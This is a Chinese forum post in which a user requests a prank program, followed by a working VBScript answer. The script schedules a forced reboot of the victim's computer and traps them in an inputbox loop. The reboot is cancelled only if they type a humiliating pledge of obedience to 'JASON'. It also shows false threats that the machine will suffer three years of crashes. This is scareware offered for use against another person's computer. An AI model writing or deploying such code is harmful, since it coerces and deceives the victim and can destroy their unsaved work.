帮我写一个代码~VB/HTM/TAB都行~

偶电脑方面不是很好，所以请各位大虾帮帮忙啦~
内容要是这样的：

点开后，弹出个对话框，关不掉，里面有一个可以写字的方框。上面写：“请在以下的方框里输入：JASON,我将永远服从于你，听从你的命令，当你的宠物，为你做牛做马！5分钟后，不写的话……你的电脑就会自动关机！！！！哈哈哈哈哈！！！！”
那家伙只要在五分钟内不写这些话，电脑就自动关机；
写错了的话，就会再弹出一个对话框，说：“你输错啦！！！！！为此JASON将在30秒后关你的机！！！！！这就是不忠实的下场！！！！”然后30秒后关机；
写对了的话，就会在弹出一个对话框，上面写：“嗯……这还差不多，这样才乖嘛……好，明天就去给JASON说你该对他怎样的忠诚，不然的话~~~你的电脑将在3年内连续遭遇关机重启、死机等病毒。你说了的话，电脑将自动优化，系统速度将提升21.5%！！”

谢谢，好的加分~

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""请在以下的方框里输入：JASON,我将永远服从于你，听从你的命令，当你的宠物，为你做牛做马！5分钟后，不写的话……你的电脑就会自动关机！！！！哈哈哈哈哈！！！！"" ",0 ,true
dim a
do while(a <> "JASON,我将永远服从于你")
a = inputbox ("说JASON,我将永远服从于你,就不关机，快撒，说 ""JASON,我将永远服从于你"" ","www.bestfly.cn"," 请输入“JASON,我将永远服从于你”并且点确定，终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "嗯……这还差不多，这样才乖嘛……好，明天就去给JASON说你该对他怎样的忠诚，不然的话~~~你的电脑将在3年内连续遭遇关机重启、死机等病毒。你说了的话，电脑将自动优化，系统速度将提升21.5%！！"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true